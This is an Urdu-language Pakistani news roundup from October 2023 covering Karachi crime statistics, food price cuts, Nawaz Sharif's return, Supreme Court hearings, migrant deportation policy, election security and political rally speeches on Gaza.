رواں سال جنوری سے 18 اکتوبر تک ڈکیتی مزاحمت پر110 شہری جاں بحق ہوئے جبکہ گزشتہ سال 108 افراد ڈکیتوں کا نشانہ بنے تھے۔شہر میں دوران ڈکیتی شہریوں کی بے خوف جانیں لی جارہی ہیں ۔مگر ایڈیشنل آئی جی کراچی خادم حسین رند کو فکر ہی نہیں اور عجیب منطق سامنے لے آئے ۔
رواں سال 15 اکتوبر تک 1597 افراد گاڑیوں اور41ہزار 61 شہری موٹرسائیکلوں سے ہاتھ دھو بیٹھے۔15اکتوبر تک 21 ہزار 7 سو 84 شہریوں سے موبائل فونز چھینے گئے۔لیکن ایک ماہ قبل ہی عہدے پر فائز ہونے والے ایڈیشنل آئی جی کراچی امن و امان کی صورتحال سے مطمئن ہیں ۔
رواں سال اب تک پولیس صرف 439 گاڑیاں 21 سو 25 موٹرسائیکلیں اور 4 سو 15 موبائل فون ہی برآمد کرسکی ۔ وارداتوں کے تناسب سے اگر جائزہ لیں تو گاڑیاں 30 فیصد موٹرسائیکلیں 5 فیصد اور موبائل فونز صرف دو فیصد ہی برآمد ہوئے ۔

اشیائے ضروریہ کی قیمتوں میں کمی کا اعلان

ضلعی انتظامیہ کے اشیائے ضروریہ کی قیمتوں میں کمی کے لیے مختلف ایسوسی ایشنز سے کامیاب مزاکرات، پیٹرولیم مصنوعات کی قیمتوں میں کمی کے پیش نظر نیا نرخ نامہ جاری کر دیا گیا۔
رپورٹس کے مطابق پٹرول کی قیمتوں میں کمی کے پیش نظرضلعی انتظامیہ لاہور کے مختلف ایسوسی ایشنز سے کامیاب مذاکرات ہوئے جن میں اشیائے ضروریہ قیمتوں میں کمی پر اتفاق ہوا۔
مذاکرات اور پرائس فکسیشن کمیٹی کی سفارشات پر اشیاء ضروریہ کی نئی قیمتوں پر مبی نیا نرخ نامہ جاری کر دیا گیا ہے جس میں چاول کی قیمت میں 25 روپے فی کلوگرام ،دال چنا 15 روپے،دال مسور کی قیمت میں 30 روپے ،کالا چنا 10 روپے جبکہ بیسن کی قیمت میں 20 روپے فی کلوگرام کمی کر دی گئی ہے۔ سفید چنا کی قیمت میں بھی 30 روپے فی کلوگرام کمی کی گئی ہے۔
ڈی سی لاہور رافعہ حیدر کا کہنا ہے کہ حالیہ پٹرولیم مصنوعات کی قیمتوں کے ثمرات ترجیحی بنیادوں پر عوام تک منتقل کیے جائیں گے۔

نواز شریف سعودی عرب سے دبئی پہنچ گئے

سابق وزیراعظم نواز شریف لندن سے وطن واپسی کے سفر پر ہیں ،قائد ن لیگ لندن سے سعودی عرب پہنچے تھے ، جہاں کچھ روز قیام کے بعد وہ دبئی پہنچ گئے ہیں ۔
تفصیلات کے مطابق سابق وزیراعظم نواز شریف تقریباً چار سال بعد لندن سے وطن کے مشن پر ہیں ،قائد ن لیگ لندن سے سعودی عرب پہنچے تھے ، جہاں کچھ روز قیام کے بعد وہ دبئی میں اسحاق ڈار کے صاحبزادے کے گھر پہنچ گئے ہیں ۔
نواز شریف دبئی میں دو روز قیام کے بعد اکیس اکتوبر کو پاکستان کے لئے اڑان بھریں گے۔ نواز شریف کی وطن واپسی کے لیے فلائی دبئی کا خصوصی جہاز ہفتے کو پاکستان روانہ ہو گا، اور وہ وطن واپسی پر مینار پاکستان گرائونڈ میں رات آٹھ بجے خطاب کریں گے
سعودیہ قیام کے دوران نواز شریف نے عمرہ ادا کیا اور روضہ رسول صلی اللہ علیہ وسلم پر حاضری دی۔

فوجی عدالتوں میں ٹرائل اور عام انتخابات سے متعلق کیسز سماعت کیلئے مقرر

سپریم کورٹ میں فوجی عدالتوں میں سویلینز کے ٹرائل اور عام انتخابات سے متعلق کیسز کو سماعت کے لئے مقرر کر دیا گیا۔
جمعرات کے روز چیف جسٹس پاکستان جسٹس قاضی فائز عیسیٰ نے پاک عرب ریفائنری ملازمین کیس کی سماعت کے دوران عام انتخابات اور فوجی عدالتوں کے حوالے سے کیسز سماعت کے لئے مقرر کرنے کا عندیہ دیا تھا۔
پاک عرب ریفائنری ملازمین کیس میں التوا دینے پر جسٹس قاضی فائز عیسی نے کہا تھا کہ انتخابات اور سویلینز کے فوجی عدالتوں میں ٹرائل کے کیس مقرر ہونے والے ہیں۔
جمعہ کے روز سپریم کورٹ کی جانب سے فوجی عدالتوں میں سویلینز کے ٹرائل کیخلاف کیس کو 23 اکتوبر کو سماعت کیلئے مقرر کردیا گیا ہے جس کی سماعت جسٹس اعجازالاحسن کی سربراہی میں پانچ رکنی بینچ کرے گا۔
جسٹس اعجازالاحسن کی سربراہی میں بننے والے بینچ میں جسٹس منیب اختر، جسٹس یحیٰی آفریدی، جسٹس مظاہرنقوی اور جسٹس عائشہ ملک شامل ہیں۔
عدالت عظمیٰ نے سماعت کے حوالے سے فریقین کو نوٹس جاری کر دیے ہیں۔
خیال رہے کہ مذکورہ کیس کی گزشتہ سماعت 3 اگست کوہوئی تھی۔
دوسری جانب 90 روز میں عام انتخابات کروانے سے متعلق درخواستوں کو بھی 23 اکتوبر کو سماعت کے لیے مقرر کردیا گیا ہے۔
چیف جسٹس قاضی فائز عیسیٰ کی سربراہی میں جسٹس اطہر من اللّٰہ اور جسٹس امین الدین خان پر مشتمل تین رکنی بینچ کیس کی سماعت کرے گا۔
90 روز میں عام انتخابات کے انعقاد کے حوالے سے سپریم کورٹ بار اور پاکستان تحریک انصاف ( پی ٹی آئی ) سمیت دیگر نے سپریم کورٹ میں درخواستیں دائرکر رکھی ہیں

غیر قانونی شہریوں کی وطن واپسی کے منصوبے میں کوئی تبدیلی نہیں ہوئی، دفتر خارجہ

دفتر خارجہ نے کہا ہے کہ ملک میں مقیم غیر قانونی تارکین وطن کی وطن واپسی کا منصوبہ بدستور برقرار ہے اور تمام غیر قانونی تارکین وطن کے ملک چھوڑنے کی مقررہ تاریخ میں توسیع نہیں کی جائے گی۔
دفتر خارجہ کی ترجمان ممتاز زہرہ بلوچ نے ہفتہ وار بریفنگ میں بتایا کہ حکومت کا مؤقف بالکل واضح ہے، غیر قانونی غیر ملکیوں کی ان کے آبائی ممالک میں رضاکارانہ واپسی کی آخری تاریخ 31 اکتوبر ہے اور یکم نومبر سے پاکستانی قوانین کے مطابق بے دخلی کا عمل شروع ہو جائے گا۔
ایک سوال کے جواب میں انہوں نے تصدیق کی کہ غیر قانونی غیر ملکیوں کی وطن واپسی کے منصوبے (آئی ایف آر پی) سے متعلق غیر ملکی مشنز کے لیے وزارت خارجہ میں بریفنگ سیشن کا انعقاد کیا گیا۔
انہوں نے کہا کہ بریفنگ سیشن میں سیکریٹری داخلہ آفتاب درانی اور قائم مقام سیکریٹری خارجہ رحیم حیات قریشی نے بریفنگ دی۔

موبائل فونز کی درآمدات میں نمایاں کمی

رواں مالی سال کے پہلے دو ماہ میں موبائل فونز کی درآمدات میں نمایاں کمی ریکارڈ کی گئی ہے۔
اسٹیٹ بینک آف پاکستان کے اعداد و شمار کے مطابق جولائی اور اگست میں ملک موبائل فونز کی درآمدات کا حجم 8.314 ملین ڈالر رہا جو گزشتہ سال کی اسی مدت کے مقابلہ میں 613 فیصد کم ہے۔
گذشتہ سال کی اسی مدت میں موبائل فونز کی درآمدات کا حجم 59.31 ملین ڈالر ریکارڈ کیا گیا تھا۔
اعدادوشمار کے مطابق گزشتہ ماہ (اگست ) کے دوران موبائل فونز کی درآمدات پر 4.979 ملین ڈالر کا زرمبادلہ صرف ہوا ،جو جون میں 3.33 ملین ڈالر اور گذشتہ سال اگست میں 43.66 ملین ڈالر تھا۔
رواں مالی سال 2023 میں موبائل فونز کی درآمدات کا حجم 89.93 ملین ڈالر ریکارڈ کیا گیا تھا

ملک کو لندن سے نہیں چلایا جاسکتا ، الیکشن کمیشن فوری تاریخ دے : بلاول بھٹو

کراچی میں سانحہ کارساز کی برسی پر جلسے سے خطاب کرتے ہوئے کہا کہ ملک کو لندن سے نہیں چلایا جاسکتا، الیکشن کمیشن فوری عام انتخابات کا اعلان کرے۔
رپورٹس کے مطابق سابق وزیر خارجہ و چیئرمین بلاول بھٹو زرداری نےکراچی میں سانحہ کارساز کی برسی پر خطاب کرتے ہوئے کہاکہ ایک ہےشخص کی واپسی کیلئے انتخابات اور آئین کو روک دیا گیا ۔ ثابت ہوگیا ہے کہ پاکستان کو لندن سے نہیں چلایا جاسکتا ۔ عوام کے درمیان موجودگی ضروری ہے۔
بلاول بھٹو نےنواز شریف کا نام لئے بغیر طنز کرتے ہوئے کہا کہ ریاستی وسائل سے استقبال بھی کامیاب ہوجائے گا۔ لیکن انتخابات میں بار بار تاخیر ووٹ کی عزت نہیں بے عزتی ہے ۔ الیکشن کمیشن فوری پولنگ کی تاریخ دے ۔ سلیکشن کی سیاست نے جمہوریت کا جنازہ نکال دیا ہے۔ زرداری پر تنقید کرنے والے آج سی پیک کا کریڈٹ لینے کی کوشش کررہے ہیں ۔انہوں نے مزید کہا کہ دیر آید ، درست آید ، بلاول بھٹو کا نواز شریف کا نام لئے بغیر تبصرہ کیا اور کہا کہ ماننا ہوگا کہ ملک صحیح سمت نہیں چل رہاقصور جس کا بھی ہے ہمیں آگے بڑھنا ہوگا نئے انتخابات کرانے پڑیں گے، الیکشن کمیشن فوری تاریخ دے۔
بلاول بھٹو زرداری نے کراچی میں سانحہ کارساز کی برسی پر جلسے سے خطاب کرتے ہوئے کہا کہ فلسطین کےعوام ہمارے مشکل وقت میں ہمارے ساتھ تھے وہ یاسرعرفات تھا جس نے مکہ میں جنرل ضیاء سےوعدہ لیا تھا مگر افسوس وہ جھوٹا مکار شخص تھا جس نےوعدے پرعمل نہیں کیا شہید بینظیر بھٹو پہلی وزیراعظم تھیں جس نےغزہ کادورہ کیا تھا اوریاسرعرفات شہید محترمہ کی دعوت پر پاکستان آئے تھے۔
بلاول بھٹو زرداری کا خطاب میں کہا کہ فلسطین کے عوام اکیلے نہیں ہیں یہ عوام ان کے ساتھ ہیں جب تک پاکستان کےعوام ہیں فلسطین کےعوام اکیلے نہیں ہوسکتے پاکستان میں جیالے جیسے کارکنان نہیں ملیں گےکارکنان بہادری سے اپنی لیڈر کو تحفظ دینے کیلئے آگے بڑھے جیالے جمہوریت کی جدوجہد میں سب سے آگے ہیں۔
انہوں نے اپنے خطاب میں کہا کہ 18اکتوبر2007کو16برس گزر گئے ہیں18 اکتوبر کا تاریخی دن آمریت سے آزادی دلانے کادن تھادنیا کو دکھا دیا کہ پاکستان کا اصل چہرہ بے نظیربھٹو ہےشہداء کار ساز کو یاد کرنے اور فلسطینیوں کیساتھ اظہاریکجہتی کیلئےجمع ہیں۔
سابق وزیراعلیٰ سندھ مراد علی شاہ نے جلسے سے خطاب کرتے ہوئے کہا کہ بلاول بھٹووزیرخارجہ ہوتےتومسئلہ فلسطین پرپاکستان کااس قدر کمزورموقف نہ ہوتابلاول بھٹو زرداری وزیراعظم بنیں گے۔وہ لیڈر بلاول بھٹو ہے جو سارے اسلامی ممالک کو اکٹھا کرے گاپیپلزپارٹی بلاول بھٹو کی قیادت میں ملک کومشکلات سےنکالے گی۔
انہوں نے مزید کہا کہ 27دسمبر کو محترمہ ہم سے چھین لی گئیںآصف زرداری نے پاکستان کھپےکا نعرہ لگایاکشمیر میں مظالم ڈھائے جارہے ہیں۔
پاکستان پیپلز پارٹی کے سینئر رہنماءرضا ربانی نے جلسے سے خطاب کرتے ہوئے کہا کہ پیپلز پارٹی ان شہداء کو سرخ سلام پیش کرتی ہے جو غزہ میں اسرائیل کی بمباری سےشہید ہوئےکل رات کے اندھیرے میں اسرائیلی بمباروں نےاسپتال پر غزہ میں بمباری کی ۔پیپلز پارٹی اور فلسطین کی جدوجہد کا ایک پرانا رشتہ ہے۔

دوسری جی سی سی نمائش برائے تربیت اور تعلیم ابوظہبی میں منعقد ہو رہی ہے-

دوسری جی سی سی نمائش برائے تربیت اور تعلیم ابوظہبی میں منعقد ہو رہی ہے-
تقریب 24 اور 25 اکتوبر2023 کو ابوظہبی کے معروف ایرتھ ہوٹل میں منعقد ہو گی-
پاکستان کے سفیر فیصل نیاز ترمذی نے اس تقریب میں شرکت کرنے پر پاکستان اور پاکستان کی یونیورسٹیوں کو مبارکباد دی۔
نمائش میں جدید ترین تعلیمی ٹیکنالوجیز، مصنوعات اور خدمات کی ایک جامع تصویر پیش کی جائے گی-

دبئی (طاہر منیر طاہر) دوسری جی سی سی نمائش برائے تربیت اور تعلیم خطے کے تعلیمی منظرنامے کو پیش کرنے کے لئے تیار ہے۔ 24 سے 25 اکتوبر 2023 تک ابوظہبی، متحدہ عرب امارات کے معروف ایرتھ ہوٹل میں منعقد ہونے والی یہ تقریب تعلیم کے میدان میں سنگ میل ثابت ہو گی۔ اس میں سرکردہ تعلیمی ادارے، حکومتی نمائندے اور پورے خطے کے مندوبین اکٹھے ہوں گے-
مڈ پوائنٹ ایونٹس کے زیر اہتمام، یہ نمائش جدید ترین تعلیمی ٹیکنالوجیز، ٹولز اور وسائل کی نمائش کا ایک پلیٹ فارم ہے۔ یہ تعلیمی پیشہ ور افراد کے درمیان نیٹ ورکنگ کے مواقع اور علم کے اشتراک کو بھی فروغ دیتا ہے۔ مزید برآں، یہ تقریب دنیا بھر کے معروف تعلیمی اداروں اور تنظیموں کی شرکت کا مشاہدہ کرے گی، جس میں تعلیم اور علم کی ترسیل کے بہترین طریقوں کی نمائش ہوگی۔
اس عظیم الشان نمائش میں جدید ترین تعلیمی ٹیکنالوجیز، مصنوعات اور خدمات کی ایک جامع نمائش پیش کی جائے گی، جو تعلیمی شعبے کی مسلسل ابھرتی ہوئی ضروریات کو پورا کرتی ہے۔ یہ معلمین، طلباء اور والدین کے لیے ایک مثالی پلیٹ فارم کے طور پر بھی کام کرے گا تاکہ وہ ملاقات کریں، خیالات کا تبادلہ کریں، اور خطے میں تعلیم کے مستقبل پر تبادلہ خیال کریں۔
مڈ پوائنٹ ایونٹس کی چیئرپرسن شیخہ نورا الخلیفہ نے نمائش میں مسلسل دوسری بار شرکت کرتے ہوئے وزارت کی غیر متزلزل حمایت کے لیے عزت مآب ڈاکٹر احمد بیلہول الفلاسی، وزیر تعلیم – UAE کا شکریہ ادا کیا۔ انہوں نے ایکسی لینسی سارہ بنت یوسف الامیری، وزیر مملکت برائے پبلک ایجوکیشن اینڈ ایڈوانسڈ ٹیکنالوجی، اور ایمریٹس اسکول اسٹیبلشمنٹ کے بورڈ آف ڈائریکٹرز کی چیئرپرسن کی بھی تعریف کی۔
شیخہ نورا الخلیفہ نے ہز ایکسی لینسی کا خصوصی شکریہ ادا کیا۔ متحدہ عرب امارات میں اسلامی جمہوریہ پاکستان کے سفیر فیصل نیاز ترمذی نے اس تقریب میں شرکت کرنے پر پاکستان اور پاکستان کی یونیورسٹیوں کو مبارکباد دی۔ ان کی شمولیت اس تعلیمی اقدام کے لیے بین الاقوامی تعاون اور حمایت کی نشاندہی کرتی ہے۔
مڈ پوائنٹ ایونٹس اس ایونٹ کو ممکن بنانے میں انمول تعاون کے لیے ہمارے ڈیسٹینیشن اینڈ ٹریول اینڈ ٹورازم پارٹنر، ابوظہبی کنونشن اینڈ ایگزیبیشن بیورو کا تہہ دل سے شکریہ ادا کرنا چاہتا ہے۔ ہم اپنے پلاٹینم اسپانسر، UAE یونیورسٹی، اور اپنے گولڈ اسپانسر، Rabdan اکیڈمی، کو اس تعلیمی سنگ میل کی کامیابی کے لیے ان کے فراخدلانہ تعاون کے لیے بھی تہہ دل سے خراج تحسین پیش کرتے ہیں۔
تربیت اور تعلیم کے لیے دوسری GCC نمائش تعلیم میں تازہ ترین پیشرفت سے باخبر رہنے اور خطے کے تعلیمی اداروں اور تنظیموں کے درمیان تعاون کے امکانات کو تلاش کرنے کا ایک غیر معمولی موقع فراہم کرتی ہے۔ یہ تعلیمی شعبے میں موجودہ رجحانات کا مشاہدہ کرنے اور GCC میں تعلیمی منظر نامے کی گہری سمجھ حاصل کرنے کے لئے ایک منفرد پلیٹ فارم کے طور پر کام کرتا ہے۔

الیکشن میں فوج اور رینجرز سکیورٹی کے فرائص سرانجام دیں گی

آئندہ عام انتخابات کے انعقاد کیلئے الیکشن کمیشن کی تیاریاں جاری ہیں ، جبکہ فوج اور رینجرز سکیورٹی کے فرائص سرانجام دے گی ۔
چیف الیکشن کمشنر سکندر سلطان راجہ کی زیر صدارت کراچی میں اجلاس ہوا، جس میں سندھ میں انتخابات کی تیاریوں کا تفصیلی جائزہ لیا گیا ۔
الیکشن کمیشن اعلامیہ کے مطابق چیف الیکشن کمشنر نے کہا عام انتخابات کا آزادانہ ، منصفانہ اور غیرجانبدارانہ انعقاد بہتر جمہوریت کا ضامن ثابت ہو گا ، انتخابات کے عمل میں کوتاہی کرنے والے اہلکاروں اور عملے کے خلاف سخت کارروائی کی جائے گی ۔
سیکرٹری الیکشن کمیشن نے بتایا انتخابات میں فوج اور رینجرز کی مدد لی جائے گی ، سندھ میں میں چار ہزار چار سو تیس پولنگ اسٹیشن انتہائی حساس ، آٹھ ہزار اسی حساس قرار دیئے گئے ہیں ۔
چیف سیکریٹری سندھ نے الیکشن کمیشن کے احکامات پر سو فیصد عمل درآمد اور پولنگ اسٹیشنز پر تمام تر سہولیات کی دستیابی کی یقین دہانی کرائی ۔
آئی جی سندھ نےبتایاکہ عام انتخابات میں ایک لاکھ دس ہزار تین سو چونتیس پولیس اہلکار سیکیورٹی کے فرائض انجام دیں گے ، کوئیک رسپانس فورس بھی کسی بھی نا خوشگوار واقعے کی صورت میں الرٹ ہو گی

وفاقی سرکاری دفاتر کے اوقات کار تبدیل، نوٹیفکیشن جاری

وفاقی حکومت نے سرکاری دفاتر کے اوقات کار تبدیل کردیے۔
نوٹیفکیشن کے مطابق اسلام آباد کے تمام سرکاری دفاتر فوری طور پر نظرثانی شدہ دفاتری اوقات کار پر عمل کریں گے، نوٹیفکیشن کے مطابق وفاقی سرکاری دفاترمیں نئے اوقات کار کا اطلاق فوری طور پرہوگا۔
وفاقی حکومت نے اسلام آباد کے سرکاری دفاتر کے اوقات کار تبدیل کردیے ہیں، سرکاری دفاتر صبح ساڑھے 8 بجے سے شام ساڑھے 4 بجے تک کھلیں گے۔ اس سے قبل سرکاری دفتری اوقات صبح 7:30 بجے سے 3:30 بجے تک ہوتے تھے۔
نوٹیفکیشن کے مطابق ملازمین کو دوپہر ایک بجے سے ڈیڑھ بجے تک 30 منٹ کا لنچ اور نماز کا وقفہ ہوگا، اسلام آباد کے تمام سرکاری دفاتر فوری طور پر نظرثانی شدہ دفاتری اوقات کار پر عمل کریں گے۔

حماس کے ابابیلوں نے اسرائیل کے غبارے سے ہوا نکال دی، ڈاکٹر طارق سلیم

امیر جماعت اسلامی پنجاب ڈاکٹر طارق سلیم نے کہا ہے کہ حماس کے ابابیلوں نے اسرائیل کے غبارے سے ہوا نکال دی۔
امیر جماعت اسلامی پنجاب ڈاکٹر طارق سلیم نے راولپنڈی میں یکجہتی فلسطین ریلی سے خطاب کرتے ہوئے کہا کہ غاصب یہودیوں کو فلسطین کے تمام علاقے چھوڑنے ہوں گے اور 2 ریاستی فارمولہ کسی صورت قابل قبول نہیں ہو گا۔
انہوں ںے کہا کہ مغرب کو یہودیوں سے اتنی محبت ہے توانہیں امریکہ اور برطانیہ میں ریاست قائم کرنے کی اجازت دے مسلم ممالک کے حکمران شرم کریں اور غزہ میں محصور مظلوم بچوں اور خواتین کو عالمی شیطانوں کے گروہ سے آزادی دلانے میں اپنا کردار ادا کریں۔
ڈاکٹر طارق سلیم نے کہا کہ پورا عالم کفر اسرائیل کا پشتیبان بن کر اسلحے سمیت تمام ترامداد فراہم کر رہا ہے جبکہ پونے 2 ارب مسلمانوں کی نمائندگی کرنے والے مسلم حکمران مذمت اور سفارتی زبان کی نوک پلک درست کرنے میں لگے ہیں۔
انہوں نے کہا کہ کسی مصلحت کے بغیر ہر طرح کا اسلحہ اور فوج غزہ اور فلسطین کے مسلمانوں کی آزادی کے لیے استعمال ہونا چاہیے۔ بیت المقدس ہمارے لیے مکہ مکرمہ اور مدینہ النبیﷺ جتنا ہی معتبر ہے اس کو مسمار کرنے کا منصوبہ کبھی کامیاب نہیں ہوسکتا۔